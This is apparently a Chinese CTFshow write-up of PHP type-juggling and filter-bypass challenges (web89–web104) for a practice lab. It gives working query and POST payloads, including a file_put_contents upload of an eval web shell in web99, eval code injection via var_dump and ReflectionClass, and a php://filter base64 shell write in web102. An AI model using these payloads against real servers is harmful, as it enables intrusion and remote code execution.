CTFSHOW php 特性
web89 数组绕过正则
include("flag.php");
highlight_file(__FILE__);if(isset($_GET['num'])){$num = $_GET['num'];
get numif(preg_match("/[0-9]/", $num)){
是数字 就输出 nodie("no no no!");}if(intval($num)){
如果是存在整数 输出 flagecho $flag;}
}
这个使用数组就可以绕过正则
这里学一下
PHP preg_match() 函数 | 菜鸟教程
?num[0]=1

web90 ===的绕过
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){$num = $_GET['num'];if($num==="4476"){die("no no no!");}if(intval($num,0)===4476){echo $flag;}else{echo intval($num,0);}
}
首先 我们输入一个 4476a 就可以绕过 第一个nonono
<?php
$num='4476a';
echo intval($num,0);?>

这样 就绕过了 第二个 ===
也可以使用浮点型
<?php
$num=4476.1;
echo intval($num,0);?>
也可以使用进制

intval($num,0)
设置第二个参数为0 如果识别到 0x 那么就自动 转为 16进制取整
<?php
$num=0x117c;
echo intval($num,0);?>

web91 了解正则
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){if(preg_match('/^php$/i', $a)){echo 'hacker';}else{echo $flag;}
}
else{echo 'nonononono';
}
第一个if
/^phpA$/ 以php为开头的字符串 并且以php结尾的字符串 就是php/im 多行匹配和匹配大小写
第二个 就是 取消了多行匹配的机制 并且让我们
意思就是单行无法匹配到php开头的字符串
这个时候可以使用url编码的换行符 %0a
?cmd=%0aphp

web92 == 绕过

用之前的方法也可以
进制

浮点型

但是我们不能使用 4476a来绕过== 因为他不管比较的双方的类型
只要值相同就相同
我们输入 4476a 他读取到4476 就会和 另一方进行比较
这样 就绕不过去
科学计数法
但是我们可以使用字母e 因为在 计算机中 e有科学计数法的用法
当我们输入 4476e1 == 就会直接识别为 4476e1
绕过第一个 ==
web93 过滤字母
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){$num = $_GET['num'];if($num==4476){die("no no no!");}if(preg_match("/[a-z]/i", $num)){die("no no no!");}if(intval($num,0)==4476){echo $flag;}else{echo intval($num,0);}
能发现不能使用科学计数法了
浮点型
4476.1

进制
我们使用八进制 因为八进制 只要识别到0开头就默认为八进制


web94 strpos(字符串,字符)
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){$num = $_GET['num'];if($num==="4476"){die("no no no!");}if(preg_match("/[a-z]/i", $num)){
匹配 所有字母 并且不区分大小写die("no no no!");}if(!strpos($num, "0")){
当 0 出现在开头 就报错
这里可能是想过滤 八进制die("no no no!");}if(intval($num,0)===4476){echo $flag;}
题目想过滤八进制 但是 其实还是可以使用八进制
八进制
?num= 010574
前面添加一个空格即可

浮点型
?num=4476.01
这题主要是注意函数
strpos(字符串,字符) 查找字符在字符串第一次出现的位置
所以这个函数就是找到0出现的位置 并且不能让0 在开头
但是我们可以空格绕过
web95 /[a-z]|\./i 正则过滤
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){$num = $_GET['num'];if($num==4476){die("no no no!");}if(preg_match("/[a-z]|\./i", $num)){
这里又重新过滤了 . 说明浮点型也不行了die("no no no!!");}if(!strpos($num, "0")){die("no no no!!!");}if(intval($num,0)===4476){echo $flag;}
}
那就只能使用
八进制
?num= 010574
?num=+010574
web96 路径读取、伪协议
highlight_file(__FILE__);if(isset($_GET['u'])){if($_GET['u']=='flag.php'){die("no no no");}else{highlight_file($_GET['u']);
高亮 flag
这里可以判断 }}
hightlight_file(高亮文件的绝对路径,返回值) 其中返回值可选
这里很明显要我们输入flag的路径
那我们测一下
./flag.php ./表示在当前目录下
../html/flag.php ../ 表示父级目录 然后访问html中的flag
php://filter/read/resource=flag.php 伪协议

web97 数组绕过md5比较
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
通过数组可以绕过MD5的比较

web98 三目运算符
https://www.cnblogs.com/echoDetected/p/13999517.html
https://www.cnblogs.com/NPFS/p/13798533.html
说是三目运算符
$_GET?$_GET=&$_POST:'flag'; 如果get请求存在 那么就通过 post来覆盖掉get请求
这里意思 就是 如果$_GET为真 那么就执行$_GET=&$_POST 否则执行'flag'$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; 这两个就是 比对get 是否为 flag如果get接受的参数值为 flag 那就设置&$_COOKIE和&$_SERVER为flaghighlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); 如果get的参数为 http_flag 并且内容为 flag那么就输出 http_flag的地址
所以这里我们 get的值不能为flag 不然就会设置get为空
然后我们设置post为 HTTP_FLAG=flag


web99 file_put_contents写入
highlight_file(__FILE__);
$allow = array();
设为数组
for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i));
向尾部插入 rand(1,$i) 循环 54次
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){file_put_contents($_GET['n'], $_POST['content']);
将post的content 写入 get的文件中
如果get不存在 那么就创建文件
}?>
这里发现可以写东西到服务器中
那我们就想到一句话木马
这里主要是 in_array 存在漏洞
如果 in_array 的第三个参数不设置为 true 就不会比较类型
我们输入 1.php 他会自动识别和 allow一样的类型为 1
这里我们看看
get: ?n=1.php
post: content=<?php @eval($_POST['a']);?>

web100 优先级
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
提示我们 在 ctfshow类中
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
3个参数
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
第四个参数是 前三个相与if($v0){if(!preg_match("/\;/", $v2)){
就是不能在v2中招到 分号;if(preg_match("/\;/", $v3)){
要在 v3中找到 分号;eval("$v2('ctfshow')$v3");
执行 v2 ('ctfshow')v3
这里 就发现v2 是命令 v3多半就分号 ;}}}
第一个if判断
<?php
$v1=1;
数字
$v2="sb";
字符串
$v3=";";
字符
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
echo $v0;
?>

这里的原理是 = 大于 and 和 or这样 v0=1 and 0 and 0 还是1
这样就绕过了第一个if
我们知道了 两个的类型
v2 命令
v3分号
这样我们就看看
如何输出
var_dump() 可以用于识别类型 并且输出 表达式的类型和值
PHP var_dump() 函数 | 菜鸟教程
我们让v2=var_dump($ctfshow)
v3=;
这样就构造了
var_dump($ctfshow)('ctfshow');


成功返回值了
我们继续尝试
?v1=1&v2=var_dump($ctfshow)&v3=;

还有一个方式
就是
通过注释来绕过


payload1: ?v1=1&v2=var_dump($ctfshow)&v3=;
payload2: ?v1=1&v2=var_dump($ctfshow)/*&v3=*/;

web101 反射API
这个 是关于面向对象
存在一个 反射api
ReflectionClass 用于输出 类的详细信息
创建方式为 new ReflectionClass
可以使用echo ReflectionClass("ClassName" ) 输出类的信息
这里就可以使用这个来
?v1=1&v2=echo new ReflectionClass&v3=;

最后需要爆破最后一位
最后一位是 6
web102 PHP短开表达式 回调函数call_user_func
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){$s = substr($v2,2);
从v2 的第二位开始读取$str = call_user_func($v1,$s);
然后使用回调函数
这里 $s会作为参数 被 $v1调用
这就是另一个调用函数的方式罢了echo $str;file_put_contents($v3,$str);
写入v3中
}
else{die('hacker');
}
这里我们首先要用v2来绕过 第一个if
这里介绍两个函数
bin2hex
和
hex2bin这两个是 字符串 和 十六进制字符串 互相变换的函数

我们思考 第一个if 需要是数字 然后绕过
那我们是不是可以生成一个 十六进制字符串 然后绕过
这里的读取命令是特殊构造的 需要绕过is_numeric()
可以通过科学计数法绕过
这里提及PHP短开表达式
<?=`cat *`;<?=(表达式)?>
相当于
<?php echo (表达式);?>
然后我们通过伪协议 通过解密base64写入文件
以为这个特殊构造的命令是 要先base64加密 然后通过 bin2hex 转换字符串
就可以形成特殊的 科学计数法形式


这里最后的= 可以删除 不删除就无法绕过
50 44 38 39 59 47 4e 68 64 43 41 71 59 44 73
然后可以开始写入
payloadget : v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=34.phppost: v1=hex2bin

这样就绕过了
web103
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){$s = substr($v2,2);$str = call_user_func($v1,$s);echo $str;if(!preg_match("/.*p.*h.*p.*/i",$str)){file_put_contents($v3,$str);}else{die('Sorry');}
}
else{die('hacker');
}
加了个过滤条件
但是还是可以通过 102的方式直接做

web104 shal弱比较的绕过
highlight_file(__FILE__);
include("flag.php");if(isset($_POST['v1']) && isset($_GET['v2'])){$v1 = $_POST['v1'];$v2 = $_GET['v2'];if(sha1($v1)==sha1($v2)){echo $flag;}
}
这里主要是 shal 的比较
其实shal和MD5一样 可以通过数组绕过

web105
相关文章:
CTFSHOW php 特性
web89 数组绕过正则 include("flag.php"); highlight_file(__FILE__);if(isset($_GET[num])){$num $_GET[num]; get numif(preg_match("/[0-9]/", $num)){ 是数字 就输出 nodie("no no no!");}if(intval($num)){ 如果是存在整数 输出 flagecho …...
2、认识O(nlogn)的排序
归并排序 分两半,谁小拷贝谁 public class Test{public static void mergeSort(int[] arr) {if (arr == null || arr.length < 2) {return;}mergeSort(arr, 0, arr.length - 1);}public static void mergeSort(int[] arr, int l, int r) {if (l == r) {return;}int mid =…...
什么是 HTTP 长轮询?
什么是 HTTP 长轮询? Web 应用程序最初是围绕客户端/服务器模型开发的,其中 Web 客户端始终是事务的发起者,向服务器请求数据。因此,没有任何机制可以让服务器在没有客户端先发出请求的情况下独立地向客户端发送或推送数据。 为…...
操作系统用户态和核心态和CPU上下文切换
目录 操作系统用户态和核心态用户态和核心态操作系统用户态和核心态是如何交换的系统调用 CPU上下文什么是CPU上下文和CPU上下文切换CPU为什么要进行上下文切换 操作系统用户态和核心态 用户态和核心态 操作系统两种状态:用户态和内核态。 操作系统的用户态和内核态…...
TSINGSEE青犀视频汇聚平台EasyCVR视频广场面包屑侧边栏支持拖拽操作
TSINGSEE青犀视频汇聚平台EasyCVR可拓展性强、视频能力灵活、部署轻快,可支持的主流标准协议有GB28181、RTSP/Onvif、RTMP等,以及厂家私有协议与SDK接入,包括海康Ehome、海大宇等设备的SDK等,能对外分发RTSP、RTMP、FLV、HLS、Web…...
RocketMQ发送消息超时异常
说明:在使用RocketMQ发送消息时,出现下面这个异常(org.springframework.messging.MessgingException:sendDefaultImpl call timeout……); 解决:修改RocketMQ中broke.conf配置,添加下…...
WordPress做权重站:二级目录伪静态写法
我喜欢用WordPress建站,但是每个网站我都会写3个以上的二级目录,为什么了,因为WordPress数据量过大会导致数据库很大很卡,所以这种做法可以减轻数据库的负荷。我一般每个目录的文章达到15万篇就不会再更新了,3个目录加…...
浅谈下API初步认知
当我们谈论API,我们指的是应用程序接口(Application Programming Interface)。API允许不同的软件应用程序之间互相通信和交互。它定义了一组规定和协议,用于确定数据传输和请求的格式、方法和功能。 API的作用是在软件开发中提供一…...
LeetCode--剑指Offer75(2)
目录 题目描述:剑指 Offer 58 - II. 左旋转字符串(简单)题目接口解题思路1代码解题思路2代码 PS: 题目描述:剑指 Offer 58 - II. 左旋转字符串(简单) 字符串的左旋转操作是把字符串前面的若干个字符转移到…...
基于vue-cli3的vue项目 通过postcss-pxtorem 实现px自动转换成rem并解决版本问题
1、npm安装依赖 npm install lib-flexible --save npm install postcss-pxtorem --save-dev 2、引入lib-flexible 在项目入口文件main.js 中引入lib-flexible import "lib-flexible/flexible.js"; 3、 配置postcss-pxtorem vue-cli3 项目postcss-pxtorem的…...
前端开发常用的方法封装(二)
1.将阿拉伯数字翻译成中文的大写数字 export const numberToChinese (num) > {let AA new Array("零","一","二","三","四","五","六","七","八","九","十&q…...
【Java】Springboot脚手架生成初始化项目代码
Springboot配置生成初始化项目代码可以通过mvn的mvn archetype:generate 和阿里云原生应用脚手架(地址)、spring官方提供的start初始化生成页面(地址)。 1、mvn archetype:generate 通过mvn选择对应的脚手架可以快速生成初始化代码…...
LLaMA系列 | LLaMA和LLaMA-2精简总结
文章目录 1、LLaMA1.1、模型结构1.2、训练方式1.3、结论 2、LLaMA-22.1、相比LLaMA1的升级2.3、模型结构2.3.1、MHA, MQA, GQA区别与联系 2.4、训练方式 1、LLaMA 🔥 纯基座语言模型 《LLaMA: Open and Efficient Foundation Language Models》:https:/…...
运动蓝牙耳机什么款式好、适合运动的蓝牙耳机推荐
夏天到了,越来越多的年轻人会选择在一天的忙碌之后通过简单的运动缓解疲劳。而在运动装备的选择上,除了常规的衣服、鞋之外,耳机也成为了当下年轻群体的必备项,尤其是在运动的过程中听听喜欢的音乐或者电台能够更好地放松身心。那…...
在敏捷项目中如何做好资源规划?
敏捷项目管理是一种交付项目的迭代方法,主要用于软件开发项目。该方法由多个迭代或增量步骤组成,以实现最终目标。在敏捷的环境下工作,难免遇到以下这些情况: ● 人员和团队通常必须将时间分配到不同的项目上。 ● 敏捷和非敏捷工…...
mybatis-plus 用法
目录 1 快速开始 1.1 依赖准备 1.2 配置准备 1.3 启动服务 2 使用 2.1 实体类注解 2.2 CRUD 2.3 分页 2.4 逻辑删除配置 2.5 通用枚举配置 2.6 自动填充 2.7 多数据源 3 测试 本文主要介绍 mybatis-plus 这款插件,针对 springboot 用户。包括引入&…...
重测序数据分析流程丨操作步骤与代码与代码脚本
群体重测序数据分析笔记 在生物信息学中,群体重测序数据的挖掘和分析对于理解生物的进化、自然选择以及功能基因的定位等研究具有重要的意义。今天分享的笔记内容是群体遗传学相关的知识点,下面将一步步介绍整个重测序分析的流程和方法。 分析常用流程和…...
npm -v无法显示版本号
情况: 删除C盘下.npmrc文件后解决。路径 C:\Users\Dell 记录一下这个解法。...
【Vue】父子组件值及方法传递使用
父子组件值、方法引用 1、值 1.1 父组件获取子组件值 父组件 <template><div><button click"getChildValue">click</button><child ref"child"></child></div> </template><script> import Child…...
医药化工企业洁净厂房改造消防防爆安全的重要性
设计 【摘要】:近年来,我国医药化工企业规模不断扩大。医药化工企业的情况复杂,稍有不慎将发生火灾或者爆炸,对人员生命以及财产安全造成巨大的损害,酿成悲剧。所以,“三同时”原则的落实,如何…...
T型翼/尾板导向的穿浪双体船姿态控制【附代码】
✨ 长期致力于穿浪双体船、T型翼、尾板、多自由度姿态控制、舒适性评估研究工作,擅长数据搜集与处理、建模仿真、程序编写、仿真设计。 ✅ 专业定制毕设、代码 ✅ 如需沟通交流,点击《获取方式》 (1)动态水翼升力模型与耦合运动方…...
CentOS 7下‘Development Tools’和‘开发工具’组有区别吗?实测告诉你答案
CentOS 7下‘Development Tools’与‘开发工具’的隐藏关联:技术细节全解析在Linux系统管理中,yum的软件包组功能一直是个既实用又充满谜团的领域。特别是当系统语言环境与软件包元数据语言不一致时,开发者们常常会遇到一个有趣的现象&#x…...
Win10家庭版别再卡了!保姆级教程:手动修复gpedit.msc路径,彻底关闭Antimalware Service
Win10家庭版性能优化实战:精准修复组策略路径与系统服务调优每次游戏激战正酣时突然卡顿,或是视频渲染到关键时刻系统响应迟缓,很多Win10家庭版用户都遭遇过这类困扰。任务管理器里那个名为"Antimalware Service Executable"的进程…...
森优时铁锌维发根养黑用三个月真实效果实测:内服营养养黑的客观测评
"森优时铁锌维发根养黑用三个月真实效果实测显示,针对压力、熬夜引发的早白问题,通过内服补充毛囊所需营养的方式,多数使用者能感受到发根韧性提升、新生发色素沉淀改善,整体改善效果因人而异,合规的营养补充是目…...
我靠这个测试设计方法,把漏测率降低了80%
当“直觉测试”撞上南墙很长一段时间里,我和许多测试同行一样,测试用例的设计主要依靠两样东西:需求文档和“测试直觉”。这种模式在业务逻辑相对简单、迭代速度平缓时还能勉强应付。一旦面对复杂的企业级应用、高频的敏捷迭代,或…...
MAX78000移植Zephyr RTOS实战:从BSP创建到AI边缘设备开发
1. 项目概述与动机作为一名长期在嵌入式边缘AI和机器人领域摸爬滚打的开发者,我最近把目光投向了一块相当有潜力的板子:Maxim Integrated(现为ADI一部分)的MAX78000FTHR开发套件。这块板子的核心——MAX78000微控制器,…...
翻译 GDB 官方文档
翻译 GDB 官方文档项目地址官方文档地址下载源码包编译html运行翻译程序项目地址 https://github.com/shootercheng/gdb-translate.git 项目结构 $ tree -L 1 . ├── cmd ├── go.mod ├── input ├── internal ├── LICENSE ├── output ├── README.md ├─…...
Airtest Poco实战:5分钟搞定微信小程序自动化测试环境搭建与元素抓取
Airtest Poco实战:5分钟搞定微信小程序自动化测试环境搭建与元素抓取微信小程序作为轻量级应用的代表,已经渗透到电商、社交、工具等各个领域。随着小程序功能的日益复杂,自动化测试成为保障产品质量的重要手段。本文将带你快速搭建微信小程序…...
随机森林算法在儿童出行方式预测中的实战应用与优化
1. 项目概述:用随机森林预测孩子怎么上学做城市交通规划或者做家长接送方案的时候,你肯定想过一个问题:孩子们到底是怎么上学的?是走路、骑车、坐公交还是家长开车送?这个问题看似简单,背后却牵扯到城市规划…...
基于Arduino与nRF24L01+的无线传感器平台设计与部署指南
1. 项目概述与设计思路如果你和我一样,喜欢在阳台或者小院子里种点蔬菜瓜果,那你肯定也遇到过这样的烦恼:出门几天,心里总惦记着家里的番茄苗是不是缺水了,小温室里的温度会不会太高。传统的温湿度计只能让你在现场读数…...
